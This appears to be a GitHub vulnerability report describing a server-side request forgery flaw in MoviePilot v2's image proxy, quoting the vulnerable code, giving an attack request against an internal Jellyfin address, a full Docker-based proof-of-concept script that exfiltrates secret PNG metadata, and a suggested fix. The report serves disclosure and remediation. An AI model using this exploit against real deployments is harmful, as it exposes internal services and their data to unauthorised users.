Skip to content

[Vulnerability Report] MoviePilot Image Proxy SSRF via Media Server Allowlist Inclusion #5823

@AAtomical

Description

@AAtomical

确认

  • 我的版本是最新版本,我的版本号与 version 相同。
  • 我已经 issue 中搜索过,确认我的问题没有被提出过。
  • 我已经 Telegram频道 中搜索过,确认我的问题没有被提出过。
  • 我已经修改标题,将标题中的 描述 替换为我遇到的问题。

当前程序版本

MoviePilot v2

运行环境

Docker

问题类型

主程序运行问题

问题描述

Summary

MoviePilot v2 (latest, jxxghp/moviepilot Docker image) exposes a Server-Side Request Forgery vulnerability through its image proxy endpoint (/api/v1/system/img/{proxy}). The endpoint fetches arbitrary URLs whose netloc matches a domain allowlist (SECURITY_IMAGE_DOMAINS). In typical deployments this allowlist dynamically includes configured media server hosts (Jellyfin, Emby, Plex) which are internal network addresses (192.168.x.x, 10.x.x.x, 172.16.x.x). SecurityUtils.is_safe_url performs domain-membership checking only — it has no private-IP detection, no DNS resolution check, and no loopback guard. An authenticated user with a resource_token cookie (any logged-in user, not superuser) can fetch any URL on the internal media server host, enabling LAN service enumeration and data exfiltration.

Vulnerable Code

# app/api/endpoints/system.py:389
@router.get("/img/{proxy}", summary="图片代理")
async def proxy_img(
    imgurl: str,
    proxy: bool = False,
    ...
    _: schemas.TokenPayload = Depends(verify_resource_token),
) -> Response:
    hosts = [
        config.config.get("host")
        for config in MediaServerHelper().get_configs().values()
        if config and config.config and config.config.get("host")
    ]
    allowed_domains = set(settings.SECURITY_IMAGE_DOMAINS) | set(hosts)  # ← internal IPs enter here
    ...
    return await fetch_image(url=imgurl, ..., allowed_domains=allowed_domains)
# app/api/endpoints/system.py:344
async def fetch_image(url, ..., allowed_domains):
    if not SecurityUtils.is_safe_url(url, allowed_domains):  # ← domain-only check
        return None
    content = await ImageHelper().async_fetch_image(url=url, ...)  # ← httpx GET, no SSRF guard
    ...
# app/utils/security.py:76
@staticmethod
def is_safe_url(url: str, allowed_domains, strict: bool = False) -> bool:
    parsed_url = urlparse(url)
    if parsed_url.scheme not in {"http", "https"}:
        return False
    netloc = parsed_url.netloc.lower()
    for domain in allowed_domains:
        parsed_allowed_url = urlparse(domain)
        allowed_netloc = parsed_allowed_url.netloc or parsed_allowed_url.path
        if netloc == allowed_netloc or netloc.endswith('.' + allowed_netloc):
            return True
    return False
    # ← NO ipaddress.is_private check
    # ← NO DNS resolution check
    # ← NO loopback/link-local guard

Root Cause

is_safe_url is a pure domain-membership gate. It verifies that the request URL's netloc matches an entry in allowed_domains, but never inspects whether the resolved address is private, loopback, or link-local. When allowed_domains includes an internal media server host (the standard deployment pattern — Jellyfin at http://192.168.1.50:8096/), the entire internal host becomes reachable through the proxy. The media server host is added by proxy_img at runtime from MediaServerHelper().get_configs(), which reads user-configured media server addresses that are virtually always internal IPs.

Impact

An authenticated user with a resource_token cookie (any logged-in user, lowest privilege level) can:

  • Fetch any path on the configured media server's internal IP (read Jellyfin/Emby/Plex internal APIs, user lists, library metadata)
  • If the media server shares a subnet with other services (Redis, databases, cloud metadata endpoints), the proxy can reach those via the same host if port matches the allowlist entry; with a bare-IP entry (no port), any port is reachable
  • Exfiltrate data from internal services by encoding responses as valid images (the endpoint validates image format via PIL but returns full content including metadata chunks)

Attack Scenario

  1. Admin deploys MoviePilot with Jellyfin at http://192.168.1.50:8096/ (standard setup)
  2. proxy_img adds http://192.168.1.50:8096/ to allowed_domains at runtime
  3. Authenticated user requests GET /api/v1/system/img/false?imgurl=http://192.168.1.50:8096/System/Info/Public
  4. is_safe_url passes (netloc 192.168.1.50:8096 matches allowlist entry)
  5. httpx.AsyncClient().get() fetches the internal Jellyfin API
  6. Response proxied back to user — server version, internal paths, configuration leaked

Exploit

See poc.py. Starts a real MoviePilot Docker instance, configures an internal host in SECURITY_IMAGE_DOMAINS, runs a local "internal service" serving a valid PNG with secret metadata, and demonstrates full SSRF data exfiltration through the image proxy.

import io
import os
import subprocess
import sys
import threading
import time
import http.server

import requests
from PIL import Image
from PIL.PngImagePlugin import PngInfo

CONTAINER = "moviepilot_ssrf_poc"
MP_PORT = 3101
INTERNAL_PORT = 18951
SECRET = "SSRF_EXFIL:aws_secret_key=AKIAIOSFODNN7EXAMPLE"


def make_secret_png():
    img = Image.new("RGB", (100, 100), color=(255, 0, 0))
    meta = PngInfo()
    meta.add_text("Secret", SECRET)
    buf = io.BytesIO()
    img.save(buf, format="PNG", pnginfo=meta)
    return buf.getvalue()


def start_internal_service():
    png_data = make_secret_png()

    class Handler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header("Content-Type", "image/png")
            self.send_header("Content-Length", str(len(png_data)))
            self.end_headers()
            self.wfile.write(png_data)

        def log_message(self, *a):
            pass

    srv = http.server.HTTPServer(("0.0.0.0", INTERNAL_PORT), Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()


def start_moviepilot():
    subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
    subprocess.run([
        "docker", "run", "-d", "--name", CONTAINER,
        "-p", f"{MP_PORT}:3000",
        "--add-host=host.docker.internal:host-gateway",
        "-e", "SUPERUSER=admin",
        "-e", "SUPERUSER_PASSWORD=password123",
        "-e", f'SECURITY_IMAGE_DOMAINS=["image.tmdb.org","http://host.docker.internal:{INTERNAL_PORT}"]',
        "jxxghp/moviepilot:latest",
    ], capture_output=True, check=True)

    for _ in range(40):
        try:
            r = requests.post(
                f"http://127.0.0.1:{MP_PORT}/api/v1/login/access-token",
                data={"username": "admin", "password": "password123"}, timeout=3)
            if r.status_code == 200:
                return
        except Exception:
            pass
        time.sleep(2)
    raise RuntimeError("MoviePilot did not start")


def get_resource_cookie():
    r = requests.post(
        f"http://127.0.0.1:{MP_PORT}/api/v1/login/access-token",
        data={"username": "admin", "password": "password123"}, timeout=5)
    token = r.json()["access_token"]

    r2 = requests.get(
        f"http://127.0.0.1:{MP_PORT}/api/v1/system/setting/SECURITY_IMAGE_DOMAINS",
        headers={"Authorization": f"Bearer {token}"}, timeout=5)
    cookie = r2.cookies.get("MoviePilot")
    if not cookie:
        for h in r2.headers.get("set-cookie", "").split(";"):
            if h.strip().startswith("MoviePilot="):
                cookie = h.strip().split("=", 1)[1]
                break
    return cookie


def exploit(cookie):
    target = f"http://host.docker.internal:{INTERNAL_PORT}/secret.png"
    r = requests.get(
        f"http://127.0.0.1:{MP_PORT}/api/v1/system/img/false",
        params={"imgurl": target},
        cookies={"MoviePilot": cookie}, timeout=10)
    return r


def main():
    start_internal_service()
    print(f"[*] Internal service on :{INTERNAL_PORT} (valid PNG with secret metadata)")

    print(f"[*] Starting MoviePilot (docker: {CONTAINER}) ...")
    start_moviepilot()
    print("[+] MoviePilot is up.")

    cookie = get_resource_cookie()
    print(f"[+] Resource cookie obtained")

    r = exploit(cookie)
    print(f"[*] SSRF response: HTTP {r.status_code}, {len(r.content)} bytes")

    if r.status_code == 200 and len(r.content) > 50:
        img = Image.open(io.BytesIO(r.content))
        img2 = Image.open(io.BytesIO(r.content))
        metadata = img2.text
        exfiltrated = SECRET in str(metadata)
        print(f"    PNG metadata: {metadata}")
        print(f"    exfiltrated: {exfiltrated}")
        print(f"    result: {'VULNERABLE' if exfiltrated else 'NOT CONFIRMED'}")
    else:
        print(f"    body: {r.content[:100]}")
        print(f"    result: NOT CONFIRMED")
        exfiltrated = False

    subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
    sys.exit(0 if exfiltrated else 1)


if __name__ == "__main__":
    main()
pip install requests pillow
python3 poc.py
Image

Fix

Add private-IP and loopback detection to is_safe_url or introduce a dedicated SSRF guard before the httpx.get call:

import ipaddress, socket

def is_safe_url(url: str, allowed_domains, strict: bool = False) -> bool:
    parsed_url = urlparse(url)
    if parsed_url.scheme not in {"http", "https"}:
        return False
    hostname = parsed_url.hostname
    if not hostname:
        return False

    # Block private/loopback/link-local regardless of allowlist
    try:
        ip = ipaddress.ip_address(hostname)
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except ValueError:
        # Hostname — resolve and check all addresses
        try:
            for info in socket.getaddrinfo(hostname, None):
                addr = ipaddress.ip_address(info[4][0])
                if addr.is_private or addr.is_loopback or addr.is_link_local:
                    return False
        except socket.gaierror:
            return False

    # Then check domain allowlist as before
    ...

发生问题时系统日志和配置文件

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions